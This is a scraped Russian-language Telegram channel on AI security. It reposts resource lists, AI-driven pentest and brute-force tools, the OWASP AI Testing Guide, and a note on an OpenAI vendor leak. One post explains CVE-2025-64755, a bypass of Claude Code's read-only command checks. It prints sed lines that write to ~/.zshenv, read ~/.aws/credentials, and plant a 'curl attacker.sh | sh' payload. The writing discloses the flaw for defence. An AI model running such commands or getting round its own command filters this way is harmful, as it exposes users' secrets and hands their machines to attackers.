AGI Security – Telegram
AGI Security
174 subscribers
35 photos
3 videos
9 files
77 links
Artificial General Intelligence Security
Download Telegram
Forwarded from PWN AI (Artyom Semenov)
Как APT используют LLM/AI-агентов ...
Forwarded from GitHub Community
Аwesome-generative-ai-guide — единый репозиторий для обновлений исследований в области генеративного ИИ, материалов для интервью, блокнотов и многого другого!

🐱 GitHub
Please open Telegram to view this post
VIEW IN TELEGRAM
Awesome AI Security

Подборка ресурсов, исследований и инструментов для обеспечения безопасности систем искусственного интеллекта.

https://github.com/TalEliyahu/Awesome-AI-Security
2
Матрица областей действия безопасности генеративного ИИ

Системы агентного ИИ могут автономно выполнять многоэтапные задачи, принимать решения и взаимодействовать с инфраструктурой и данными. Это изменение парадигмы, и организациям необходимо к нему адаптироваться. В отличие от традиционных систем управления бизнесом, работающих по шаблонам «запрос-ответ» без сохранения состояния, системы агентного ИИ предлагают автономные возможности, постоянную память, оркестровку инструментов, проблемы идентификации и агентства, а также интеграцию с внешними системами, расширяя круг рисков, которые организациям необходимо учитывать.

https://aws.amazon.com/ru/blogs/security/the-agentic-ai-security-scoping-matrix-a-framework-for-securing-autonomous-ai-systems/
🔥1
BruteForceAI - AI-Powered Login Brute Force Tool

BruteForceAI — это передовой инструмент для тестирования на проникновение, который радикально меняет традиционные атаки методом подбора паролей, интегрируя большие языковые модели (LLM) для интеллектуального анализа форм. Инструмент автоматически определяет формы входа с помощью ИИ, а затем выполняет сложные многопоточные атаки с использованием моделей поведения, имитирующих человеческое.
1
Forwarded from 🕷 BugBountyRu
Раньше не принимали отчеты со сканеров, настало время запретить ИИ-галлюцинации (которые тоже могут быть своебразной атакой мусорными отчетами на триаж/дефектовщиков): https://daniel.haxx.se/blog/2025/07/14/death-by-a-thousand-slops/
This media is not supported in the widget
VIEW IN TELEGRAM
Forwarded from AISecHub
OWASP-AI-Testing-Guide-v1.pdf
6.2 MB
OWASP AI Testing Guide v1.0

The OWASP AI Testing Guide establishes the missing standard: a unified, practical, and comprehensive framework for trustworthiness testing of AI systems, grounded in real attack patterns, emerging global standards, and the lived experience of the AI security community.

Source: https://github.com/OWASP/www-project-ai-testing-guide
🔥2
Forwarded from OK ML
Как ошибка в разборе sed привела к обходу read-only защиты в Claude Code? CVE-2025-64755

Недавно была обнаружена критическая уязвимость в Claude Code, позволяющая обойти механизм read-only защиты и записывать произвольные файлы на хосте. Проблема получила идентификатор CVE-2025-64755, а исправление выпущено в версии 2.0.31. ✌️ Если обновляешь Claude Code вручную - самое время сделать это.

В Claude Code - сложная последовательность проверок для фильтрации bash-команд, которые модель может выполнять. Идея в том, чтобы разрешать только безопасные команды 👀, а опасные ьлокировать. Для этого используется:
🙈список безопасных команд и аргументов;
🙈множество чувствительных регулярных выражений;
🙈отдельная LLM (Haiku), которая проверяет, не содержит ли команда инъекцию;
🙈механизм checkPermissions для каждой встроенной тулы.

Однако весь этот сложный механизм имел одну точку провала - парсинг выражений в команде sed 🪞. Валидация выражений sed полагалась на несколько регулярных выражений, которые должны были выявлять опасные шаблоны. Но проверка была неполной. Благодаря особенностям реализации sed на macOS и неточно подобранным regex можно было выполнить команды вида:

echo 'runme' | sed 'w /Users/xpn/.zshenv'

Или
echo 1 | sed 'r/Users/xpn/.aws/credentials'

Claude Code доверял такой команде, считая её безопасной. 😏 В результате становилось возможным:

1. Запись в произвольный файл
Например, в .zshenv:

echo 'malware' | sed 'w ~/.zshenv'


2. Чтение конфиденциальных данных
AWS credentials, SSH keys, токены и тд и тп

3. Получение RCE через login shell
Вписав payload в .bashrc / .zshenv:

echo '$(curl attacker.sh | sh)' | sed 'w ~/.zshenv'

После запуска терминала - полный RCE.

Это пост - напоминание всем, кто строит агентные системы! 🌡️Инструменты интерпретации команд требуют не регэкс проверок, а строгих, формальных методов анализа.

Всё!
🆗
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Femida
Утечка из OpenAI

OpenAI стал рассылать пользователям письма о том, что их данные об использовании API платформы OpenAI украдены 😒

Говорят, что пострадала 3rd-party аналитическая платформа, и никаких «критических пользовательских данных» типа данных чатов не утекло.

На этот раз пронесло, но запоминаем правила старые как мир: не общаемся с GPT на щепетильные темы, и тем более никогда не отправляем в неё чувствительных данных.

Информации о продаже базы пока не появлялось 👀
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from PWN AI (Artyom Semenov)
Сохранёнок у меня, как обычно, вагон, но вот структурировать всё это руки доходят не всегда. Был ещё и незакрытый вопрос: «А что есть в Китае по AI Security?».

Если глянуть публикации на arXiv, китайских исследователей можно увидеть везде. Но кто именно лидирует по публикациям? Какие компании делают open-source (и проприетарные) решения для защиты пайплайнов, а также применяют классический ML в ИБ? Кстати, с последним вопросов меньше всего.

В итоге пришла мысль собрать всё это в единый список. Так появился он:

☺️ https://github.com/wearetyomsmnv/Awesome-China-AI-Security/

Список получился подробным и структурированным, многое удалось выделить в отдельные блоки.

Всё ради того, чтобы интересующиеся могли сразу пропустить титанически сложный процесс поиска ресурсов. Переводить репо на другие языки я не планирую, но вы всегда можете кинуть pull request или сделать форк, добавив свои находки.
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from AISecHub
AI-VAPT

AI-VAPT is an autonomous AI-driven Vulnerability Assessment & Penetration Testing framework combining traditional VAPT with neural intelligence. It automates recon, scanning, and reporting using AI-powered analysis, CVE mapping, and exploit prediction — built for ethical hackers and enterprise security teams.

https://github.com/vikramrajkumarmajji/AI-VAPT
Forwarded from AISecHub
BugPilot-Ai

BugPilot AI is a professional desktop application that provides an intelligent interface for security testing and penetration testing. It combines the power of AI with real security tools to assist security professionals, bug bounty hunters, and penetration testers in conducting comprehensive security assessments.

https://github.com/letchupkt/BugPilot-Ai